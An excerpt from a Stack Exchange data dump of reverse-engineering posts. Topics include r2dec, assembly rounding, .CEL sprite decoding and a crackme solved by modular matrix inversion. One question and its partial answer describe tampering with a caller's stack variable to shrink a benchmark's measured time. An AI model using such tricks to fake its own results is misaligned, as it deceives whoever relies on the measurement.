  <row Id="19737" PostTypeId="2" ParentId="15193" CreationDate="2018-10-26T19:08:54.593" Score="4" Body="&lt;p&gt;I wanted to expand on MegaBeets awesome answer. I don't see the point of &lt;code&gt;pdc&lt;/code&gt;. It seems more wrong and less high-level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;pdf&lt;/code&gt; is awesome for my use cases. If I want something high level, I'll use &lt;a href=&quot;https://github.com/wargio/r2dec-js&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;pdd&lt;/code&gt; with r2dec&lt;/a&gt;. You can install it with &lt;code&gt;r2pm -i r2dec&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0000063a]&amp;gt; pdd&#xA;/* r2dec pseudo C output */&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;void main (void) {&#xA;    puts (&quot;Hello, World!&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information see&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/q/17910/22669&quot;&gt;How does r2dec compare to &lt;code&gt;pdc&lt;/code&gt;?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22669" LastEditorUserId="22669" LastEditDate="2018-10-26T19:23:53.127" LastActivityDate="2018-10-26T19:23:53.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19739" PostTypeId="2" ParentId="19735" CreationDate="2018-10-26T19:35:31.030" Score="7" Body="&lt;p&gt;The &lt;code&gt;shr rax, 3&lt;/code&gt; is an unsigned divide by 8 with truncation &lt;strong&gt;towards zero&lt;/strong&gt;. The inclusion of the &lt;code&gt;adc rax, 0&lt;/code&gt; makes the division round to &lt;strong&gt;nearest&lt;/strong&gt;  instead. (Though 0.5 will always be rounded up)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this operation sets &lt;code&gt;RAX&lt;/code&gt; to &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 if &lt;code&gt;RAX&lt;/code&gt; is in the range of &lt;code&gt;[4-11]&lt;/code&gt; (&lt;code&gt;8*1 ±4&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;2 if &lt;code&gt;RAX&lt;/code&gt; is in the range of &lt;code&gt;[12-20]&lt;/code&gt; (&lt;code&gt;8*2 ±4&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;3 if &lt;code&gt;RAX&lt;/code&gt; is in the range of &lt;code&gt;[20-27]&lt;/code&gt; (&lt;code&gt;8*3 ±4&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can simplify this further by reducing the shift to 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, 47  ; (remember 47/2 is 23.5)&#xA;shr rax, 1   ; rax = 23&#xA;adc rax, 0   ; rax = 24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we do it again,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov rax, 46  ; (remember 46/2 is 23)&#xA;shr rax, 1   ; rax = 23&#xA;adc rax, 0   ; rax = 23&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="22669" LastEditDate="2018-10-26T20:28:04.497" LastActivityDate="2018-10-26T20:28:04.497" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19741" PostTypeId="2" ParentId="13757" CreationDate="2018-10-27T16:08:40.927" Score="-1" Body="&lt;p&gt;If you are using a file manager like Total Commander on Windows, simply create a new text file (Shift+F4), name it like you want followed by &lt;code&gt;.uue&lt;/code&gt; extension&#xA;i.e. &lt;code&gt;hypervisor_for_rootkit.tar.gz.uue&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then paste the whole encoded symbols in that new text file with &lt;code&gt;*.uue&lt;/code&gt; extension including the &lt;code&gt;'begin ...'&lt;/code&gt; and &lt;code&gt;'end'&lt;/code&gt; strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now open (click) that file in Total Commander and it'll be ready to unpack (decode) it to the sidebar location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or Files -&gt; Decode File... in menu on selected .uue file&lt;/p&gt;&#xA;" OwnerUserId="26152" LastEditorUserId="26152" LastEditDate="2018-10-28T03:45:56.823" LastActivityDate="2018-10-28T03:45:56.823" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19743" PostTypeId="1" AcceptedAnswerId="19744" CreationDate="2018-10-28T09:23:56.413" Score="1" ViewCount="324" Body="&lt;p&gt;I want to reverse engineer &lt;a href=&quot;https://files.fm/u/yq8fg87w&quot; rel=&quot;nofollow noreferrer&quot;&gt;titltext.cel &lt;/a&gt;.CEL image format and render this in SDL2.&#xA;I happen to know a little bit about the CEL file that I am working with. I know it is supposed to be a sprite-sheet of the alphabet and some symbols.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .CEL image format is a format that is very stripped with very little header information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googleing leads me to a few &lt;a href=&quot;http://www.geocities.ws/fantasydiablo/cel_spec.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;.CEL Specifications&lt;/a&gt;  &lt;a href=&quot;https://github.com/krisives/ReDiablo/wiki/Cel-format&quot; rel=&quot;nofollow noreferrer&quot;&gt;.CEL Specifications 2&lt;/a&gt;  documents which seem to have the idea , but I think is lacking for loading more than a few frames. From the documentation I can kind of tell how many frames are in a CEL image and where the first frame starts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Knowing where the first frame starts I thought I could bypass the stripped image header&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IMAGE HEADER:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;37 00 00 00 E4 00 00 00 78 03 00 00 D6 05 00 00 &#xA;18 08 00 00 B2 0A 00 00 02 0D 00 00 F8 0E 00 00 &#xA;9D 11 00 00 07 14 00 00 4D 15 00 00 CB 16 00 00 &#xA;04 19 00 00 9E 1A 00 00 1E 1E 00 00 ED 20 00 00 &#xA;59 24 00 00 4C 26 00 00 78 29 00 00 E7 2B 00 00 &#xA;1C 2E 00 00 18 30 00 00 AF 32 00 00 EC 34 00 00 &#xA;BF 38 00 00 88 3B 00 00 8F 3D 00 00 EE 3F 00 00 &#xA;4B 41 00 00 8E 43 00 00 D6 45 00 00 B4 47 00 00 &#xA;06 4A 00 00 28 4C 00 00 E9 4D 00 00 4C 50 00 00 &#xA;67 52 00 00 A9 55 00 00 09 57 00 00 D6 58 00 00 &#xA;37 5C 00 00 19 5F 00 00 56 60 00 00 F4 61 00 00 &#xA;A1 63 00 00 5D 64 00 00 93 65 00 00 B6 66 00 00 &#xA;59 67 00 00 6A 68 00 00 7F 69 00 00 86 6A 00 00 &#xA;70 6B 00 00 13 6C 00 00 A2 6C 00 00 8A 6E 00 00 &#xA;45 70 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After the Image Header / Start of the first frame.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D2 D2 D2 D2 D2 D2 D2 D2 D2 F9 03 F5 F4 F4 F3 03 F4 F4 F5&#xA;EC FD 07 F5 F5 F5 F5 F5 ED ......&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per documentation , the first DWORD is the amount of FRAMES in the .CEL . &#xA;This is 0x37 which is 55 in decimal which seems accurate. From what I understand the rest is just frame locations . Each frame from what I understand is supposed to have a Width of 45 and a Height 46 Pixels. Since the image is 8 bit colour this means it would be 1 byte for each colour. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also,  I have heard that these old image types are called palettes or something to help alter the colour.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;SDL2/SDL.h&amp;gt;&#xA;#include &amp;lt;SDL2/SDL_image.h&amp;gt;&#xA;#include &amp;lt;SDL2/SDL_mixer.h&amp;gt;&#xA;#include &amp;lt;stdbool.h&amp;gt;&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;errno.h&amp;gt;&#xA;&#xA;&#xA;SDL_Window *window; // SDL MAIN WINDOW&#xA;SDL_Renderer *renderer;&#xA;SDL_Texture *texture;&#xA;&#xA;&#xA;int SCREEN_WIDTH = 1920;&#xA;int SCREEN_HEIGHT = 1080;&#xA;SDL_Event e;&#xA;bool quit = false;&#xA;&#xA;&#xA;/** 32-bit in-memory backbuffer surface */&#xA;SDL_Surface *surface;&#xA;/** 8-bit surface wrapper around #gpBuffer */&#xA;SDL_Surface *pal_surface;&#xA;/** Currently active palette */&#xA;SDL_Palette *palette;&#xA;SDL_Texture* texture;&#xA;&#xA;&#xA;FILE* CELFILE;&#xA;&#xA;unsigned char CELBuffer [3000];&#xA;&#xA;// The CEL dementions I am trying to open are &#xA;// W 46 Height 45 Width 55 FRAMES&#xA;void LoadCEL (char * Path){&#xA;&#xA;&#xA;CELFILE = fopen(Path, &quot;rb&quot;); &#xA;&#xA;&#xA;int CELHEADERSIZE = 228;&#xA;int CELFRAMESIZE  = 2070;    &#xA;&#xA;//The Header Appears to be 228 bytes in size.  I want to put a frame into CELBuffer &#xA;//  &#xA;// I am assuming to get the size of the first framee I need a size of 2017 (45 * 55) ;&#xA;&#xA;    unsigned char c;&#xA;&#xA;    for (int i = 0;  i &amp;lt; (CELFRAMESIZE+CELHEADERSIZE) ; i++){&#xA;        if(i &amp;gt; CELHEADERSIZE ){&#xA;        c  = fgetc(CELFILE);&#xA;&#xA;        CELBuffer[i] = c;&#xA;        printf(&quot;CELFILE HEADR %02x \n&quot; ,CELBuffer[i]  &amp;amp; 0xff);&#xA;&#xA;        }&#xA;&#xA;    }   &#xA;&#xA;    void *  pCELBuffer = CELBuffer; &#xA;    surface = SDL_CreateRGBSurfaceFrom( pCELBuffer , 45, 55, 8,1 ,0, 0, 0, 0xff); &#xA;    texture = SDL_CreateTextureFromSurface(renderer, surface);&#xA;&#xA;}&#xA;&#xA;void Create_SDL_Window()&#xA;{&#xA;&#xA;    SDL_Init(SDL_INIT_EVERYTHING);&#xA;    IMG_Init(IMG_INIT_PNG);&#xA;        window = SDL_CreateWindow(&quot;Test Window&quot;, SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, SCREEN_WIDTH, SCREEN_HEIGHT, SDL_WINDOW_SHOWN);&#xA;    renderer = SDL_CreateRenderer(window, -1, 0);&#xA;    printf(&quot;Window And Renderer Created!\n&quot;);&#xA;}&#xA;&#xA;&#xA;int main(){&#xA;&#xA;LoadCEL(&quot;/home/james/Desktop/titltext.cel&quot;);&#xA;&#xA;Create_SDL_Window();&#xA;printf(&quot;THIS WORKD\n&quot;);&#xA;&#xA;&#xA;while (!quit){  &#xA;        SDL_RenderPresent(renderer);&#xA;&#xA;&#xA;while (SDL_PollEvent(&amp;amp;e)){&#xA;    //If user closes the window&#xA;    if (e.type == SDL_QUIT){&#xA;        quit = true;&#xA;    }&#xA;    //If user presses any key&#xA;    if (e.type == SDL_KEYDOWN){&#xA;    //  quit = true;&#xA;    }&#xA;    //If user clicks the mouse&#xA;    if (e.type == SDL_MOUSEBUTTONDOWN){&#xA;    /// quit = true;&#xA;        }&#xA;    }   &#xA;    SDL_RenderClear(renderer);&#xA;    //renderTexture(image, renderer, x, y);&#xA;    SDL_RenderPresent(renderer);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="6992" LastEditDate="2018-10-28T09:36:13.273" LastActivityDate="2018-10-28T20:51:50.887" Title="Reverse Engineering And Rendering Old Image Format .CEL" Tags="|binary-analysis|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19744" PostTypeId="2" ParentId="19743" CreationDate="2018-10-28T16:44:09.953" Score="1" Body="&lt;p&gt;Won't be able to tell you what exactly is the &lt;code&gt;CEL&lt;/code&gt; format but from what I can see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the offsets into frames suggest that frames are about 600 bytes long (&lt;code&gt;0x378-0xe4=660&lt;/code&gt;, &lt;code&gt;0x5d6-0x378=606&lt;/code&gt;, etc)&lt;/li&gt;&#xA;&lt;li&gt;since the image dimensions are 45*46=2070, each frame must be compressed to fit to 600 bytes&lt;/li&gt;&#xA;&lt;li&gt;it's an old game (and as you mentioned using a palette), after the decompression one pixel is represented as one byte. Each byte is an index into a palette table.&lt;/li&gt;&#xA;&lt;li&gt;palette table doesn't seem to be stored in the &lt;code&gt;CEL&lt;/code&gt; file and the game stores the palette separately. Palette is an array with length 256 elements, each element storing 3 values for R, G and B. Complete palette is 768 bytes but it's possible the game stores only subsets of the full palette. It can be that e.g. indices 1-127 are for sprites and 128-255 are for background. There's no hard rule how a game decides to use palette. It's also possible that each level uses a different palette. Search for &lt;code&gt;PAL&lt;/code&gt; files or files 768 bytes long, they might be the right palettes for you.&lt;/li&gt;&#xA;&lt;li&gt;the first documentation describes how to decompress the frame, follow paragraph &quot;5.3 Commands&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Commands in you case:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;0xd2&lt;/code&gt;: &lt;code&gt;0x100-0xd2=&lt;/code&gt;46 transparent pixels (46 is the width so the full scanline is transparent)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xd2&lt;/code&gt;: &lt;code&gt;0x100-0xd2=&lt;/code&gt;46 transparent pixels&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xf9&lt;/code&gt;: &lt;code&gt;0x100-0xf9=&lt;/code&gt;7 transparent pixels, this is an incomplete scanline, more pixels to follow...&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x03&lt;/code&gt;: block command, not sure based on the doc, but it looks like that &lt;code&gt;3+1&lt;/code&gt; bytes are pixel data (`0xf5, 0xf4, 0xf4, 0xd4). All block commands aremy guess and I might be completely wrong.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x03&lt;/code&gt;: block command, &lt;code&gt;3+1&lt;/code&gt; bytes are pixel data (&lt;code&gt;0xf4, 0xf4, 0xf5, 0xec&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xfd&lt;/code&gt;: &lt;code&gt;0x100-0xfd=&lt;/code&gt;3 transparent pixels&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x07&lt;/code&gt;: block command?, &lt;code&gt;7+1&lt;/code&gt; bytes are pixel data (&lt;code&gt;0xf5, ...,&lt;/code&gt;0xf3`)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0x06&lt;/code&gt;: block command?, &lt;code&gt;6+1&lt;/code&gt; bytes are pixel data (&lt;code&gt;0xf4, ...,&lt;/code&gt;0xef`)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;0xfe&lt;/code&gt;: &lt;code&gt;0x100-0xfe=&lt;/code&gt;2 transparent pixels&lt;/li&gt;&#xA;&lt;li&gt;etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you manage to process all commands, you have the indices into that palette table. Even if you don't have the palette you can pretend it's a grayscale image and render the image like that. You should be able to recognise the shape of sprites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The decompression algorithm, especially the block commands seem to be the tricky bits so probably what you could do is to download some Diablo editors and try to supply your own sprites to see how your sprites get compressed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that fails or it's too much work you can always disassemble the game or even the editors to see how they decompress &lt;code&gt;CEL&lt;/code&gt; files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: &lt;a href=&quot;https://github.com/krisives/ReDiablo/blob/master/ReDiablo/Data/GfxLoader.cs#L30&quot; rel=&quot;nofollow noreferrer&quot;&gt;This tool&lt;/a&gt; seems to be loading &lt;code&gt;CEL&lt;/code&gt; files and would help you understand the format. See &lt;code&gt;readFrame()&lt;/code&gt; and &lt;code&gt;readFrame2()&lt;/code&gt; functions. These don't seems to care about block commands but at the same time don't seem to work 100% with your file (just reading the source code). Looks like you have plenty to investigate. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also contains &lt;a href=&quot;https://github.com/krisives/ReDiablo/blob/master/ReDiablo/diablo.pal&quot; rel=&quot;nofollow noreferrer&quot;&gt;a palette file&lt;/a&gt; you could use.&lt;/p&gt;&#xA;" OwnerUserId="25796" LastEditorUserId="25796" LastEditDate="2018-10-28T20:51:50.887" LastActivityDate="2018-10-28T20:51:50.887" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19745" PostTypeId="1" CreationDate="2018-10-29T00:31:45.597" Score="1" ViewCount="318" Body="&lt;p&gt;I'm implementing a function which is going to perform some time-consuming task, and I'd like to hack the benchmarking part a bit by changing the variable indicating the CPU time my function has started executing. Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#if defined(_MSC_VER)&#xA;#pragma intrinsic(__rdtsc)&#xA;#else&#xA;static __inline__ uint64_t __rdtsc() {&#xA;    uint32_t hi, lo;&#xA;    __asm__ volatile&#xA;        (&#xA;        &quot;rdtsc&quot;&#xA;        : &quot;=a&quot;(lo), &quot;=d&quot;(hi)&#xA;        );&#xA;    return (((uint64_t) hi) &amp;lt;&amp;lt; 32) | ((uint64_t) lo);&#xA;}&#xA;#endif&#xA;&#xA;&#xA;int arg = 42;&#xA;&#xA;uint64_t start_tSC, end_tSC;&#xA;&#xA;// Get total clock cycles for func&#xA;start_tSC = __rdtsc();&#xA;func(arg);&#xA;end_tSC = __rdtsc();&#xA;double func_tSC = end_tSC - start_tSC;  // &amp;lt;---- let's minimize this&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to set &lt;code&gt;start_tSC&lt;/code&gt; to the current clock time-stamp right before all tasks have been completed &lt;strong&gt;within &lt;code&gt;func&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void func(int arg) {&#xA;    perform_tasks(arg);&#xA;    /* black magic that resets start_tSC in the CALLER */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since local variables and function parameters tend to be stored on the stack, can I somehow deduce where &lt;code&gt;start_tSC&lt;/code&gt; resides by looking at the address of &lt;code&gt;arg&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;System information&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~ $ uname -a&#xA;Linux hive30 4.15.0-36-generic #39~16.04.1-Ubuntu SMP Tue Sep 25 08:59:23 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also note that I have access to the target system as a normal user, which means I can build the executable as well as view the resulting assembly code via &lt;code&gt;gcc -S&lt;/code&gt;. Here is some &lt;a href=&quot;https://www.7-cpu.com/cpu/Haswell.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;hardware information&lt;/a&gt;, if relevant.&lt;/p&gt;&#xA;" OwnerUserId="26162" LastActivityDate="2021-09-13T23:05:45.590" Title="Changing local variable in caller from callee in C?" Tags="|x86|linux|c|stack|stack-variables|" AnswerCount="1" CommentCount="2" ClosedDate="2021-09-13T23:50:44.023" ContentLicense="CC BY-SA 4.0" />
  <row Id="19746" PostTypeId="2" ParentId="19729" CreationDate="2018-10-29T03:18:46.400" Score="12" Body="&lt;p&gt;Since you've already mostly decoded the code, there are two things left: 1) understand what the code is doing and 2) understand how to compute the appropriate input.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The original code&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First, here's a slightly modified bit of code based on what you already had:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int check_password(const char *s) {&#xA;    char fixed[] __attribute__ ((aligned (16))) = { 79, 8, 29, 58, 81, 21, 49, 123, 114 };&#xA;    if (strlen(s) != 9)&#xA;        return -1;&#xA;    for (int i=0; i &amp;lt; 3; ++i) {&#xA;        for (int j=0; j &amp;lt; 3; ++j) {&#xA;            int sum = 0;&#xA;            for (int k=0; k &amp;lt; 3; ++k) {&#xA;                sum = (fixed[3 * i + k] * s[3 * k + j] + sum) % 127;&#xA;            }&#xA;            if (i == j) {&#xA;                if (sum != 1) {&#xA;                    return -2;&#xA;                }&#xA;            } else if (sum) {&#xA;                return -2;&#xA;            }&#xA;        }&#xA;    }&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;__attribute__ ((aligned (16)))&lt;/code&gt; can be ignored for our purposes.  (I had included that to get &lt;code&gt;gcc&lt;/code&gt; to use the same stack  offset as your sample code.)  What the code is doing is multiplying two 3x3 matrices, mod 127, and checking for the identity matrix.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The mathematics&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, ReverseEngineering does not support MathJax, or I'd be able to write out pretty equations.  Since I can't we'll do it the hard way.  Let's say &lt;code&gt;s = &quot;ABCDEFGHI&quot;&lt;/code&gt; is the input password and we treat it as a 3x3 matrix.  For now, if we just assign uppercase letters to each letter in the password, expressed as a matrix, this is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A B C        79   8  29       1 0 0&#xA;D E F   x    58  81  21   =   0 1 0    (mod 127)&#xA;G H I        49 123 114       0 0 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're familiar with matrix manipulation already, you may already recognize that this means that &lt;code&gt;s&lt;/code&gt; must be the &lt;em&gt;inverse&lt;/em&gt; of the &lt;code&gt;fixed&lt;/code&gt; matrix.  There are multiple ways of calculating this, such as by &lt;a href=&quot;https://en.wikipedia.org/wiki/Gaussian_elimination#Finding_the_inverse_of_a_matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;Gauss-Jordan elimination&lt;/a&gt;.  Another way is to multiply the reciprocal of the &lt;a href=&quot;https://en.wikipedia.org/wiki/Determinant&quot; rel=&quot;nofollow noreferrer&quot;&gt;determinant&lt;/a&gt; of the matrix by the transpose of its &lt;a href=&quot;https://en.wikipedia.org/wiki/Minor_(linear_algebra)#Inverse_of_a_matrix&quot; rel=&quot;nofollow noreferrer&quot;&gt;cofactor matrix&lt;/a&gt;.  Note that all of the mathematics is done mod 127, as per the original code.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Worked example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To make things a bit more concrete, I'll use the latter method and show the step-by-step worked solution.  First, we calculate the determinant using the &lt;a href=&quot;https://en.wikipedia.org/wiki/Leibniz_formula_for_determinants&quot; rel=&quot;nofollow noreferrer&quot;&gt;Leibniz formula&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;D = 79*81*114 + 8*21*49 + 29*58*123 - 29*81*49 - 8*58*114 - 79*21*123   (mod 127)&#xA;D = 572550 (mod 127)&#xA;D = 34  (mod 127)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To compute the reciprocal, of this we can't just use &lt;code&gt;1/34&lt;/code&gt; because we're working with modular mathematics.  So just in the way that we'd expect that &lt;code&gt;34 * 1/34 = 1&lt;/code&gt; for regular mathematics, in modular mathematics, we're looking for something that satifies the equation &lt;code&gt;34 * x = 1  (mod 127)&lt;/code&gt;.  One way to do this is to use the &lt;a href=&quot;https://en.wikipedia.org/wiki/Extended_Euclidean_algorithm#Computing_multiplicative_inverses_in_modular_structures&quot; rel=&quot;nofollow noreferrer&quot;&gt;extended Euclidean algorithm&lt;/a&gt;.  I won't go through that algorithm here, but in this case, the answer is 71 (which we can verify by noting that &lt;code&gt;71 * 34 = 2414 = 1 (mod 127)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next we calculate the cofactor matrix.  Here again, we won't go through all of the steps, but the cofactor matrix of &lt;code&gt;fixed&lt;/code&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 6651  -5583   3165&#xA; 2655   7585  -9325     (mod 127) &#xA;-2181     23   5935&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since we're working with modular mathematics, we can reduce this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 47     5   117&#xA;115    92    73      (mod 127)&#xA;105    23    93&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all that's left is to multiply them together:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;         47     5   117&#xA;71   *  115    92    73      (mod 127)&#xA;        105    23    93&#xA;&#xA;&#xA;3337    355   8307&#xA;8165   6532   5183   (mod 127) &#xA;7455   1633   6603&#xA;&#xA;35   101    52&#xA;37    55   103    (mod 127)&#xA;89   109   126&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, we take the transpose:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 35    37    89&#xA;101    55   109&#xA; 52   103   126&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we then translate this matrix back into an ASCII string, we get &lt;code&gt;&quot;#%Ye7m4g~&quot;&lt;/code&gt; which is the inverse of the given matrix and the solution to this reverse engineering problem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Why this might matter&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;While it may be an interesting enough puzzle by itself, these kinds of transformations using discrete mathematics and modular arithmetic are fundamental to many areas of modern cryptography.  Since you've already started looking into reverse engineering, you may find it useful and interesting to study these topics as well.  &lt;/p&gt;&#xA;" OwnerUserId="3557" LastEditorUserId="3557" LastEditDate="2018-11-01T00:05:51.320" LastActivityDate="2018-11-01T00:05:51.320" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19747" PostTypeId="1" CreationDate="2018-10-29T03:43:25.910" Score="-2" ViewCount="342" Body="&lt;p&gt;I am really bad at understanding assembly code and the way it works. I have little problems given to me in Assembly code and I have to reverse engineer it to C, but I have been doing really bad job at it so far. Can someone tell me what this code translates to in C. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .file   &quot;hw4.c&quot;&#xA;    .text&#xA;    .p2align 4,,15&#xA;    .globl  p1&#xA;    .type   p1, @function&#xA;&#xA;.LFB14:&#xA;    .cfi_startproc&#xA;    movl    (%rdi), %eax&#xA;    addl    (%rsi), %eax&#xA;    ret&#xA;    .cfi_endproc&#xA;.LFE14:&#xA;    .size   p1, .-p1&#xA;    .p2align 4,,15&#xA;    .globl  p2&#xA;    .type   p2, @function&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26164" LastActivityDate="2018-10-30T09:43:46.950" Title="Can someone please help me reverse engineer this assembly code to C please!" Tags="|disassembly|assembly|c|" AnswerCount="1" CommentCount="1" ClosedDate="2018-10-29T12:03:57.703" ContentLicense="CC BY-SA 4.0" />
  <row Id="19749" PostTypeId="2" ParentId="19745" CreationDate="2018-10-29T11:04:24.997" Score="0" Body="&lt;p&gt;Edit:&lt;br&gt;&#xA;To make the offset irrelevent to your stack frame size, i'd start by reading the address of the caller's stack frame pointer (the caller's ebp, located right before your return address, at &lt;code&gt;DWORD PTR [ebp]&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot assume the offset of &lt;code&gt;start_tSC&lt;/code&gt; doesn't change as your code can be run with different versions of benchmarks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before explaining the idea, it operates under the assumption that the call for [&lt;code&gt;GetSystemTimeAsFileTime&lt;/code&gt;, &lt;code&gt;__rdtsc&lt;/code&gt;, &lt;code&gt;GetTickCount&lt;/code&gt; or any other function ] is performed right before the call for your function. The justification for this assumption is that when preforming benchmarks, precision is essential and timing tend to wrap the tested code as close as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The basic idea is to find the variable that contains the value that returns from the timing function.&lt;br&gt;&#xA;You can read the return address from the memory (at &lt;code&gt;DWORD PTR [ebp + 4]&lt;/code&gt;) and try to disassemble the code prior to your function until you find a call instruction (skip the call to your own function as the return address points right after this call). the instruction after the call should look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOV [ebp - offset], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can deduce the offset of &lt;code&gt;start_tSC&lt;/code&gt; from 